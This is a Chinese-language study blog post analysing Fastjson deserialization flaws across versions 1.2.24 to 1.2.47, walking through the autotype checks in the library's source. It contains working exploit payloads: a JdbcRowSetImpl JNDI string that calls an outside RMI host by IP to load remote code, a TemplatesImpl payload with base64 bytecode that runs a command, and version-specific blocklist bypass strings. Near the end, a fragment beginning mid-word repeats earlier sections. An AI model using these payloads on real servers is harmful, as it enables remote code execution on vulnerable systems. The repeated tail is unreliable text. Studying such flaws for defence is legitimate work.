前言
之前的文章的补充了,咕了半年再好好学学fastjson。
初认fastjson
Fastjson 是一个 Java 库,可以将 Java 对象转换为 JSON 格式,当然它也可以将 JSON 字符串转换为 Java 对象。
Fastjson 可以操作任何 Java 对象,即使是一些预先存在的没有源码的对象。
它关键的方法就是三个:
- 将对象转换成JSON字符串:
JSON.toJSONString
- 将JSON字符串转换成对象:
JSON.parse
和JSON.parseObject()
简单的写个类:
package com.feng.pojo;
public class Student {
private String name;
private int age;
public Student() {
System.out.println("构造函数");
}
public String getName() {
System.out.println("getName");
return name;
}
public void setName(String name) {
System.out.println("setName");
this.name = name;
}
public int getAge() {
System.out.println("getAge");
return age;
}
public void setAge(int age) throws Exception{
System.out.println("setAge");
//Runtime.getRuntime().exec("calc");
this.age = age;
}
public void setTest(int i){
System.out.println("setTest");
}
}
之所以会有这么个setTest()
,后面会聊到。
来测试一下对象转JSON字符串:
Student student = new Student();
student.setAge(18);
student.setName("feng");
System.out.println("====================");
String jsonString1 = JSON.toJSONString(student);
System.out.println("====================");
String jsonString2 = JSON.toJSONString(student, SerializerFeature.WriteClassName);
System.out.println(jsonString1);
System.out.println(jsonString2);
构造函数
setAge
setName
====================
getAge
getName
====================
getAge
getName
{"age":18,"name":"feng"}
{"@type":"com.feng.pojo.Student","age":18,"name":"feng"}
可以看到,调用JSON.toJSONString
会自动调用类的getter
。
可以发现这个SerializerFeature.WriteClassName
,设置的话就会加上@type
,指明类。
再试试JSON字符串转对象:
String jsonString1 = "{\"age\":18,\"name\":\"feng\"}";
String jsonString2 = "{\"@type\":\"com.feng.pojo.Student\",\"age\":18,\"name\":\"feng\"}";
System.out.println(JSON.parse(jsonString1));
System.out.println("======================");
System.out.println(JSON.parse(jsonString2));
System.out.println("======================");
System.out.println(JSON.parseObject(jsonString1));
System.out.println("======================");
System.out.println(JSON.parseObject(jsonString2));
System.out.println("======================");
{"name":"feng","age":18}
======================
构造函数
setAge
setName
com.feng.pojo.Student@7bb11784
======================
{"name":"feng","age":18}
======================
构造函数
setAge
setName
getAge
getName
{"name":"feng","age":18}
======================
可以发现parseObject
最后得到的还是JSON对象。看一下源码可以知道,parseObject
其实就是调用一次parse
,然后转换成JSONObject
:
public static JSONObject parseObject(String text) {
Object obj = parse(text);
if (obj instanceof JSONObject) {
return (JSONObject) obj;
}
return (JSONObject) JSON.toJSON(obj);
}
还可以发现,如果不带上@type
指明类名,是没法得到类对象的。
如果指明了类名,使用parse
的时候,不仅会得到对象,还会调用这个对象的setter
;使用的是parseObject
的话,不仅会得到对象且调用setter
,还会调用getter
。
这种利用@type
的机制也叫autotype
:
这种会调用setter
和getter
的机制,很容易想到之前CommonsBeanutils1
文章里的PropertyUtils.getProperty
,将会调用对应属性的getter
,而且不是说那种调用,是get+属性
,调用这种方法。
因此同理我在类中设置了一个setTest
方法,但是不存在test
属性。经过测试,如果JSON字符串里有了test
键,在parse
的时候也确实会调用这个方法,其实这时候就多少会联想到TemplatesImpl
的getOutputProperties
。不过这个之后再谈。
后续补充:
set开头的方法要求如下:
- 方法名长度大于4且以set开头,且第四个字母要是大写
- 非静态方法
- 返回类型为void或当前类
- 参数个数为1个
get开头的方法要求如下:
- 方法名长度大于等于4
- 非静态方法
- 以get开头且第4个字母为大写
- 无传入参数
- 返回值类型继承自Collection Map AtomicBoolean AtomicInteger AtomicLong
JdbcRowSetImpl利用链
知道了这些东西,如果parse
或者parseObject
的字符串可控的话,是否可以造成攻击呢?
这就引出了fastjson的两种攻击方式。好用的肯定还是这个JNDI
攻击方式。
关于JNDI注入的相关知识,上一篇已经提到了,就不再多阐述了。
关键就是JdbcRowSetImpl
类的setDataSourceName()
方法和setAutoCommit
方法。看一下这个利用链是怎么攻击的:
public void setAutoCommit(boolean var1) throws SQLException {
if (this.conn != null) {
this.conn.setAutoCommit(var1);
} else {
this.conn = this.connect();
this.conn.setAutoCommit(var1);
}
}
如果this.conn
为null的话,会进入this.connect()
:
private Connection connect() throws SQLException {
if (this.conn != null) {
return this.conn;
} else if (this.getDataSourceName() != null) {
try {
InitialContext var1 = new InitialContext();
DataSource var2 = (DataSource)var1.lookup(this.getDataSourceName());
可以很清楚的看到下面两行,很明显的一个JNDI。想办法得让this.getDataSourceName()
可控:
public String getDataSourceName() {
return dataSource;
}
也就是要控制dataSource
属性。跟进一下setDataSourceName()
:
public void setDataSourceName(String var1) throws SQLException {
if (this.getDataSourceName() != null) {
if (!this.getDataSourceName().equals(var1)) {
super.setDataSourceName(var1);
this.conn = null;
this.ps = null;
this.rs = null;
}
} else {
super.setDataSourceName(var1);
}
public void setDataSourceName(String name) throws SQLException {
if (name == null) {
dataSource = null;
} else if (name.equals("")) {
throw new SQLException("DataSource name cannot be empty string");
} else {
dataSource = name;
}
URL = null;
}
直接设置就好了。构造一波:
{\"@type\":\"com.sun.rowset.JdbcRowSetImpl\",\"dataSourceName\":\"rmi://121.5.169.223:39654/feng\", \"autoCommit\":true}
String jsonString1 = "{\"@type\":\"com.sun.rowset.JdbcRowSetImpl\",\"dataSourceName\":\"rmi://121.5.169.223:39654/feng\", \"autoCommit\":true}";
JSON.parse(jsonString1);
TemplatesImpl利用链
给我看的脑子疼。跟进的太嘛了,也是跟了一遍,很懵,可以自己跟进一遍叭。
总的来说,既然想到利用TemplatesImpl
,就是调用getOutputProperties
,但是parse
不应该只调用setter
吗?关键就在于这里。打断点跟进一下就会发现,当解析到_OutputProperties
的时候在这里设置值:
继续跟进,可以发现在setValue
里面的第66行得到了这个getOutputProperties
方法
并且进入了这里的if
,调用了这个方法:
试得TemplatesImpl
可以利用。接下来就是联想一下反序列化中的TemplatesImpl
:
byte[] bytes = Base64.getDecoder().decode("xxx");
TemplatesImpl templates = new TemplatesImpl();
setFieldValue(templates,"_bytecodes",new byte[][]{bytes});
setFieldValue(templates,"_name","feng");
setFieldValue(templates,"_tfactory",new TransformerFactoryImpl());
设置这三个属性,然后调用getOutputProperties
方法即可。
不过这种方法有很大的局限,就是private
属性的还原。上面讲fastjson的时候用到的Student
类的属性都是private
,也都成功还原了。但是你仔细想想,是因为我加了setter
啊。private
属性咋可能会有setter
?这就导致了,要还原private属性
的话,需要加上个Feature.SupportNonPublicField
才可以:
JSON.parse(jsonString, Feature.SupportNonPublicField);
给出构造的payload:
String jsonString = "{\"@type\":\"com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl\",\"_bytecodes\":[\"yv66vgAAADQANAoACAAkCgAlACYIACcKACUAKAcAKQoABQAqBwArBwAsAQAGPGluaXQ+AQADKClWAQAEQ29kZQEAD0xpbmVOdW1iZXJUYWJsZQEAEkxvY2FsVmFyaWFibGVUYWJsZQEAAWUBABVMamF2YS9pby9JT0V4Y2VwdGlvbjsBAAR0aGlzAQAGTEV2aWw7AQANU3RhY2tNYXBUYWJsZQcAKwcAKQEACXRyYW5zZm9ybQEAcihMY29tL3N1bi9vcmcvYXBhY2hlL3hhbGFuL2ludGVybmFsL3hzbHRjL0RPTTtbTGNvbS9zdW4vb3JnL2FwYWNoZS94bWwvaW50ZXJuYWwvc2VyaWFsaXplci9TZXJpYWxpemF0aW9uSGFuZGxlcjspVgEACGRvY3VtZW50AQAtTGNvbS9zdW4vb3JnL2FwYWNoZS94YWxhbi9pbnRlcm5hbC94c2x0Yy9ET007AQAIaGFuZGxlcnMBAEJbTGNvbS9zdW4vb3JnL2FwYWNoZS94bWwvaW50ZXJuYWwvc2VyaWFsaXplci9TZXJpYWxpemF0aW9uSGFuZGxlcjsBAApFeGNlcHRpb25zBwAtAQCmKExjb20vc3VuL29yZy9hcGFjaGUveGFsYW4vaW50ZXJuYWwveHNsdGMvRE9NO0xjb20vc3VuL29yZy9hcGFjaGUveG1sL2ludGVybmFsL2R0bS9EVE1BeGlzSXRlcmF0b3I7TGNvbS9zdW4vb3JnL2FwYWNoZS94bWwvaW50ZXJuYWwvc2VyaWFsaXplci9TZXJpYWxpemF0aW9uSGFuZGxlcjspVgEACGl0ZXJhdG9yAQA1TGNvbS9zdW4vb3JnL2FwYWNoZS94bWwvaW50ZXJuYWwvZHRtL0RUTUF4aXNJdGVyYXRvcjsBAAdoYW5kbGVyAQBBTGNvbS9zdW4vb3JnL2FwYWNoZS94bWwvaW50ZXJuYWwvc2VyaWFsaXplci9TZXJpYWxpemF0aW9uSGFuZGxlcjsBAApTb3VyY2VGaWxlAQAJRXZpbC5qYXZhDAAJAAoHAC4MAC8AMAEABGNhbGMMADEAMgEAE2phdmEvaW8vSU9FeGNlcHRpb24MADMACgEABEV2aWwBAEBjb20vc3VuL29yZy9hcGFjaGUveGFsYW4vaW50ZXJuYWwveHNsdGMvcnVudGltZS9BYnN0cmFjdFRyYW5zbGV0AQA5Y29tL3N1bi9vcmcvYXBhY2hlL3hhbGFuL2ludGVybmFsL3hzbHRjL1RyYW5zbGV0RXhjZXB0aW9uAQARamF2YS9sYW5nL1J1bnRpbWUBAApnZXRSdW50aW1lAQAVKClMamF2YS9sYW5nL1J1bnRpbWU7AQAEZXhlYwEAJyhMamF2YS9sYW5nL1N0cmluZzspTGphdmEvbGFuZy9Qcm9jZXNzOwEAD3ByaW50U3RhY2tUcmFjZQAhAAcACAAAAAAAAwABAAkACgABAAsAAAB8AAIAAgAAABYqtwABuAACEgO2AARXpwAITCu2AAaxAAEABAANABAABQADAAwAAAAaAAYAAAAKAAQADAANAA8AEAANABEADgAVABAADQAAABYAAgARAAQADgAPAAEAAAAWABAAEQAAABIAAAAQAAL/ABAAAQcAEwABBwAUBAABABUAFgACAAsAAAA/AAAAAwAAAAGxAAAAAgAMAAAABgABAAAAFQANAAAAIAADAAAAAQAQABEAAAAAAAEAFwAYAAEAAAABABkAGgACABsAAAAEAAEAHAABABUAHQACAAsAAABJAAAABAAAAAGxAAAAAgAMAAAABgABAAAAGgANAAAAKgAEAAAAAQAQABEAAAAAAAEAFwAYAAEAAAABAB4AHwACAAAAAQAgACEAAwAbAAAABAABABwAAQAiAAAAAgAj\"],\"_name\":\"feng\",\"_tfactory\":{},\"_outputProperties\":{}}";
JSON.parse(jsonString, Feature.SupportNonPublicField);
可以很奇怪的发现,_bytecodes
那里使用了base64编码,这是取了Evil.class
然后Base64编码。原因就在于,最后在这里得到bytes
的时候:
} else {
val = deserializer.deserialze(this, type, i);
}
if (lexer.token() == JSONToken.LITERAL_STRING) {
byte[] bytes = lexer.bytesValue();
lexer.nextToken(JSONToken.COMMA);
return (T) bytes;
}
public byte[] bytesValue() {
return IOUtils.decodeBase64(text, np + 1, sp);
}
对_bytecode
的值进行了base64解码。可以自己跟一下代码看看。所以需要base64编码。
其实想想这种处理方式是很正确的,因为这种字节数组,很容易有不可见字符,所以加一层base64才行。
fastjson 1.2.25-1.2.41
在1.2.24的基础上增加了checkAutoType()
方法:
public Class<?> checkAutoType(String typeName, Class<?> expectClass) {
if (typeName == null) {
return null;
}
final String className = typeName.replace('$', '.');
if (autoTypeSupport || expectClass != null) {
for (int i = 0; i < acceptList.length; ++i) {
String accept = acceptList[i];
if (className.startsWith(accept)) {
return TypeUtils.loadClass(typeName, defaultClassLoader);
}
}
for (int i = 0; i < denyList.length; ++i) {
String deny = denyList[i];
if (className.startsWith(deny)) {
throw new JSONException("autoType is not support. " + typeName);
}
}
}
Class<?> clazz = TypeUtils.getClassFromMapping(typeName);
if (clazz == null) {
clazz = deserializers.findClass(typeName);
}
if (clazz != null) {
if (expectClass != null && !expectClass.isAssignableFrom(clazz)) {
throw new JSONException("type not match. " + typeName + " -> " + expectClass.getName());
}
return clazz;
}
if (!autoTypeSupport) {
for (int i = 0; i < denyList.length; ++i) {
String deny = denyList[i];
if (className.startsWith(deny)) {
throw new JSONException("autoType is not support. " + typeName);
}
}
for (int i = 0; i < acceptList.length; ++i) {
String accept = acceptList[i];
if (className.startsWith(accept)) {
clazz = TypeUtils.loadClass(typeName, defaultClassLoader);
if (expectClass != null && expectClass.isAssignableFrom(clazz)) {
throw new JSONException("type not match. " + typeName + " -> " + expectClass.getName());
}
return clazz;
}
}
}
if (autoTypeSupport || expectClass != null) {
clazz = TypeUtils.loadClass(typeName, defaultClassLoader);
}
if (clazz != null) {
if (ClassLoader.class.isAssignableFrom(clazz) // classloader is danger
|| DataSource.class.isAssignableFrom(clazz) // dataSource can load jdbc driver
) {
throw new JSONException("autoType is not support. " + typeName);
}
if (expectClass != null) {
if (expectClass.isAssignableFrom(clazz)) {
return clazz;
} else {
throw new JSONException("type not match. " + typeName + " -> " + expectClass.getName());
}
}
}
if (!autoTypeSupport) {
throw new JSONException("autoType is not support. " + typeName);
}
return clazz;
}
总的来说可以分成2种,1种是autoTypeSupport
为true,一种是autoTypeSupport
为false的情况(autoTypeSupport
默认是false)。
先跟一下false的情况:
if (typeName == null) {
return null;
}
final String className = typeName.replace('$', '.');
if (!autoTypeSupport) {
for (int i = 0; i < denyList.length; ++i) {
String deny = denyList[i];
if (className.startsWith(deny)) {
throw new JSONException("autoType is not support. " + typeName);
}
}
for (int i = 0; i < acceptList.length; ++i) {
String accept = acceptList[i];
if (className.startsWith(accept)) {
clazz = TypeUtils.loadClass(typeName, defaultClassLoader);
if (expectClass != null && expectClass.isAssignableFrom(clazz)) {
throw new JSONException("type not match. " + typeName + " -> " + expectClass.getName());
}
return clazz;
}
}
}
if (!autoTypeSupport) {
throw new JSONException("autoType is not support. " + typeName);
}
return clazz;
首先是一个黑名单的waf,只要中1个一个黑名单直接寄。然后就是白名单,必须要中1个白名单,如果不中的话到最后还是会抛出异常,很难绕。
黑名单:
再看看autoTypeSupport
为true的情况:
if (typeName == null) {
return null;
}
final String className = typeName.replace('$', '.');
if (autoTypeSupport || expectClass != null) {
for (int i = 0; i < acceptList.length; ++i) {
String accept = acceptList[i];
if (className.startsWith(accept)) {
return TypeUtils.loadClass(typeName, defaultClassLoader);
}
}
for (int i = 0; i < denyList.length; ++i) {
String deny = denyList[i];
if (className.startsWith(deny)) {
throw new JSONException("autoType is not support. " + typeName);
}
}
}
if (autoTypeSupport || expectClass != null) {
clazz = TypeUtils.loadClass(typeName, defaultClassLoader);
}
if (clazz != null) {
if (ClassLoader.class.isAssignableFrom(clazz) // classloader is danger
|| DataSource.class.isAssignableFrom(clazz) // dataSource can load jdbc driver
) {
throw new JSONException("autoType is not support. " + typeName);
}
if (expectClass != null) {
if (expectClass.isAssignableFrom(clazz)) {
return clazz;
} else {
throw new JSONException("type not match. " + typeName + " -> " + expectClass.getName());
}
}
}
return clazz;
先是白名单,只要中1个白名单直接过了,如果白名单没中再去黑名单中找,找到就寄。
如果这两个都过了,会TypeUtils.loadClass
,然后再看是不是继承自ClassLoader
或者DataSource
,如果是还是寄。如果这都过了,就绕过去了。
其实看起来还是不太好绕,但关键在于这个TypeUtils.loadClass
:
public static Class<?> loadClass(String className, ClassLoader classLoader) {
if (className == null || className.length() == 0) {
return null;
}
Class<?> clazz = mappings.get(className);
if (clazz != null) {
return clazz;
}
if (className.charAt(0) == '[') {
Class<?> componentType = loadClass(className.substring(1), classLoader);
return Array.newInstance(componentType, 0).getClass();
}
if (className.startsWith("L") && className.endsWith(";")) {
String newClassName = className.substring(1, className.length() - 1);
return loadClass(newClassName, classLoader);
}
try {
if (classLoader != null) {
clazz = classLoader.loadClass(className);
mappings.put(className, clazz);
return clazz;
}
} catch (Throwable e) {
e.printStackTrace();
// skip
}
try {
ClassLoader contextClassLoader = Thread.currentThread().getContextClassLoader();
if (contextClassLoader != null && contextClassLoader != classLoader) {
clazz = contextClassLoader.loadClass(className);
mappings.put(className, clazz);
return clazz;
}
} catch (Throwable e) {
// skip
}
try {
clazz = Class.forName(className);
mappings.put(className, clazz);
return clazz;
} catch (Throwable e) {
// skip
}
return clazz;
}
其中的:
if (className.startsWith("L") && className.endsWith(";")) {
String newClassName = className.substring(1, className.length() - 1);
return loadClass(newClassName, classLoader);
}
如果以L开头且以分号结尾,就去掉这俩部分然后取中间进行loadClass
。
再这之后要绕的只有不是继承ClassLoader
和DataSource
了。
同样的L开头;结尾,同样可以绕前面的黑名单。
所以POC(要开启autoTypeSupport
):
public class Fastjson {
public static void main(String[] args) {
ParserConfig.getGlobalInstance().setAutoTypeSupport(true);
exp2();
}
//1.2.25-1.2.41
public static void exp2(){
String jsonString = "{\"@type\":\"Lcom.sun.rowset.JdbcRowSetImpl;\",\"dataSourceName\":\"rmi://127.0.0.1:39654/Exploit\", \"autoCommit\":true}";
JSON.parse(jsonString);
}
}
fastjson 1.2.42
public Class<?> checkAutoType(String typeName, Class<?> expectClass, int features) {
if (typeName == null) {
return null;
}
if (typeName.length() >= 128 || typeName.length() < 3) {
throw new JSONException("autoType is not support. " + typeName);
}
String className = typeName.replace('$', '.');
Class<?> clazz = null;
final long BASIC = 0xcbf29ce484222325L;
final long PRIME = 0x100000001b3L;
if ((((BASIC
^ className.charAt(0))
* PRIME)
^ className.charAt(className.length() - 1))
* PRIME == 0x9198507b5af98f0L)
{
className = className.substring(1, className.length() - 1);
}
final long h3 = (((((BASIC ^ className.charAt(0))
* PRIME)
^ className.charAt(1))
* PRIME)
^ className.charAt(2))
* PRIME;
if (autoTypeSupport || expectClass != null) {
long hash = h3;
for (int i = 3; i < className.length(); ++i) {
hash ^= className.charAt(i);
hash *= PRIME;
if (Arrays.binarySearch(acceptHashCodes, hash) >= 0) {
clazz = TypeUtils.loadClass(typeName, defaultClassLoader, false);
if (clazz != null) {
return clazz;
}
}
if (Arrays.binarySearch(denyHashCodes, hash) >= 0 && TypeUtils.getClassFromMapping(typeName) == null) {
throw new JSONException("autoType is not support. " + typeName);
}
}
}
if (clazz == null) {
clazz = TypeUtils.getClassFromMapping(typeName);
}
if (clazz == null) {
clazz = deserializers.findClass(typeName);
}
if (clazz != null) {
if (expectClass != null
&& clazz != java.util.HashMap.class
&& !expectClass.isAssignableFrom(clazz)) {
throw new JSONException("type not match. " + typeName + " -> " + expectClass.getName());
}
return clazz;
}
if (!autoTypeSupport) {
long hash = h3;
for (int i = 3; i < className.length(); ++i) {
char c = className.charAt(i);
hash ^= c;
hash *= PRIME;
if (Arrays.binarySearch(denyHashCodes, hash) >= 0) {
throw new JSONException("autoType is not support. " + typeName);
}
if (Arrays.binarySearch(acceptHashCodes, hash) >= 0) {
if (clazz == null) {
clazz = TypeUtils.loadClass(typeName, defaultClassLoader, false);
}
if (expectClass != null && expectClass.isAssignableFrom(clazz)) {
throw new JSONException("type not match. " + typeName + " -> " + expectClass.getName());
}
return clazz;
}
}
}
if (clazz == null) {
clazz = TypeUtils.loadClass(typeName, defaultClassLoader, false);
}
if (clazz != null) {
if (TypeUtils.getAnnotation(clazz,JSONType.class) != null) {
return clazz;
}
if (ClassLoader.class.isAssignableFrom(clazz) // classloader is danger
|| DataSource.class.isAssignableFrom(clazz) // dataSource can load jdbc driver
) {
throw new JSONException("autoType is not support. " + typeName);
}
if (expectClass != null) {
if (expectClass.isAssignableFrom(clazz)) {
return clazz;
} else {
throw new JSONException("type not match. " + typeName + " -> " + expectClass.getName());
}
}
JavaBeanInfo beanInfo = JavaBeanInfo.build(clazz, clazz, propertyNamingStrategy);
if (beanInfo.creatorConstructor != null && autoTypeSupport) {
throw new JSONException("autoType is not support. " + typeName);
}
}
final int mask = Feature.SupportAutoType.mask;
boolean autoTypeSupport = this.autoTypeSupport
|| (features & mask) != 0
|| (JSON.DEFAULT_PARSER_FEATURE & mask) != 0;
if (!autoTypeSupport) {
throw new JSONException("autoType is not support. " + typeName);
}
return clazz;
}
和之前版本比起来,有两个改变。
一处改变就是明文黑名单变成了黑名单哈希:
网上都可以找到碰撞的结果。
第二处就是删除了开头的L和结尾的; :
if ((((BASIC
^ className.charAt(0))
* PRIME)
^ className.charAt(className.length() - 1))
* PRIME == 0x9198507b5af98f0L)
{
className = className.substring(1, className.length() - 1);
}
但是问题是,只删了1次,双写绕过即可。
ParserConfig.getGlobalInstance().setAutoTypeSupport(true);
String jsonString = "{\"@type\":\"LLcom.sun.rowset.JdbcRowSetImpl;;\",\"dataSourceName\":\"rmi://127.0.0.1:39654/Exploit\", \"autoCommit\":true}";
JSON.parse(jsonString);
fastjson 1.2.43
增加了限制:
if ((((BASIC
^ className.charAt(0))
* PRIME)
^ className.charAt(className.length() - 1))
* PRIME == 0x9198507b5af98f0L)
{
if ((((BASIC
^ className.charAt(0))
* PRIME)
^ className.charAt(1))
* PRIME == 0x9195c07b5af5345L)
{
throw new JSONException("autoType is not support. " + typeName);
}
// 9195c07b5af5345
className = className.substring(1, className.length() - 1);
}
如果以L开头;结尾,而且开头是两个LL的话,直接寄。
所以L分号就寄了。但是实际上TypeUtils.loadClass
对[
也有特殊处理:
if(className.charAt(0) == '['){
Class<?> componentType = loadClass(className.substring(1), classLoader);
return Array.newInstance(componentType, 0).getClass();
}
只不过正常直接加[代码没到这里就报错了,能用的poc是[ [{
:
String jsonString = "{\"@type\":\"[com.sun.rowset.JdbcRowSetImpl\"[{,\"dataSourceName\":\"rmi://127.0.0.1:39654/Exploit\", \"autoCommit\":true}";
JSON.parse(jsonString);
同理这个也可以绕过之前版本的。
fastjson 1.2.44-1.2.46
1.2.44对[
进行了限制:
if (h1 == 0xaf64164c86024f1aL) { // [
throw new JSONException("autoType is not support. " + typeName);
}
寄。
而且这几个版本还在不断增加黑名单,因为新版本会引入新jar包,导致了黑名单的绕过。
fastjson 1.2.47
借助cache而通杀。
POC:
String jsonString = "{\n" +
" \"a\": {\n" +
" \"@type\": \"java.lang.Class\", \n" +
" \"val\": \"com.sun.rowset.JdbcRowSetImpl\"\n" +
" }, \n" +
" \"b\": {\n" +
" \"@type\": \"com.sun.rowset.JdbcRowSetImpl\", \n" +
" \"dataSourceName\": \"rmi://127.0.0.1:39654/Exploit\", \n" +
" \"autoCommit\": true\n" +
" }\n" +
"}";
JSON.parse(jsonString);
无需开启autoTypeSupport
。
简单的理一下把,关注这里:
if (autoTypeSupport || expectClass != null) {
long hash = h3;
for (int i = 3; i < className.length(); ++i) {
hash ^= className.charAt(i);
hash *= PRIME;
if (Arrays.binarySearch(acceptHashCodes, hash) >= 0) {
clazz = TypeUtils.loadClass(typeName, defaultClassLoader, false);
if (clazz != null) {
return clazz;
}
}
if (Arrays.binarySearch(denyHashCodes, hash) >= 0 && TypeUtils.getClassFromMapping(typeName) == null) {
throw new JSONException("autoType is not support. " + typeName);
}
}
}
if (clazz == null) {
clazz = TypeUtils.getClassFromMapping(typeName);
}
如果中白名单直接过,中黑名且getClassFromMapping
为null的时候才抛出异常,然后从getClassFromMapping
中取类:
public static Class<?> getClassFromMapping(String className){
return mappings.get(className);
}
mappings.get
唯一我们可能控制的只有TypeUtils.loadClass
:
try{
if(classLoader != null){
clazz = classLoader.loadClass(className);
if (cache) {
mappings.put(className, clazz);
}
return clazz;
}
这个函数的引用处:
public static Class<?> loadClass(String className, ClassLoader classLoader) {
return loadClass(className, classLoader, true);
}
cache为true满足条件。
在MiscCodec.java#deserialze
中调用:
if (clazz == Class.class) {
return (T) TypeUtils.loadClass(strVal, parser.getConfig().getDefaultClassLoader());
}
需要想办法控制strVal
,往上面看看发现可以被这样赋值:
Object objVal;
if (parser.resolveStatus == DefaultJSONParser.TypeNameRedirect) {
parser.resolveStatus = DefaultJSONParser.NONE;
parser.accept(JSONToken.COMMA);
if (lexer.token() == JSONToken.LITERAL_STRING) {
if (!"val".equals(lexer.stringVal())) {
throw new JSONException("syntax error");
}
lexer.nextToken();
} else {
throw new JSONException("syntax error");
}
parser.accept(JSONToken.COLON);
objVal = parser.parse();
String strVal;
if (objVal == null) {
strVal = null;
} else if (objVal instanceof String) {
strVal = (String) objVal;
简单来说就是需要一个键是val,值是恶意类名的键值对即可,而且clazz为class.class
而java.lang.Class
正好可以。
fastjson 1.2.48-1.2.68
cache为false了1.2.47的绕过寄了。大致的绕过是这样。
更多的东西和总结
上面那些只是比较整体性的东西,不同的版本可能还有新的绕过和POC,参考:
https://github.com/Firebasky/Fastjson
很全。
之后遇到了新东西再学习了。
参考链接
https://xz.aliyun.com/t/8979
https://aluvion.gitee.io/2020/08/23/Fastjson%E5%8F%8D%E5%BA%8F%E5%88%97%E5%8C%96%E6%9C%BA%E5%88%B6%E5%92%8Cautotype%E8%A7%82%E6%B5%8B/
https://www.freebuf.com/vuls/228099.html
http://www.lmxspace.com/2019/06/29/FastJson-%E5%8F%8D%E5%BA%8F%E5%88%97%E5%8C%96%E5%AD%A6%E4%B9%A0/
ror");
}
lexer.nextToken();
} else {
throw new JSONException(“syntax error”);
}
parser.accept(JSONToken.COLON);
objVal = parser.parse();
String strVal;
if (objVal == null) {
strVal = null;
} else if (objVal instanceof String) {
strVal = (String) objVal;
简单来说就是需要一个键是val,值是恶意类名的键值对即可,而且clazz为class.class
而`java.lang.Class`正好可以。
# fastjson 1.2.48-1.2.68
cache为false了1.2.47的绕过寄了。大致的绕过是这样。
# 更多的东西和总结
上面那些只是比较整体性的东西,不同的版本可能还有新的绕过和POC,参考:
https://github.com/Firebasky/Fastjson
很全。
之后遇到了新东西再学习了。
# 参考链接
https://xz.aliyun.com/t/8979
https://aluvion.gitee.io/2020/08/23/Fastjson%E5%8F%8D%E5%BA%8F%E5%88%97%E5%8C%96%E6%9C%BA%E5%88%B6%E5%92%8Cautotype%E8%A7%82%E6%B5%8B/
https://www.freebuf.com/vuls/228099.html
http://www.lmxspace.com/2019/06/29/FastJson-%E5%8F%8D%E5%BA%8F%E5%88%97%E5%8C%96%E5%AD%A6%E4%B9%A0/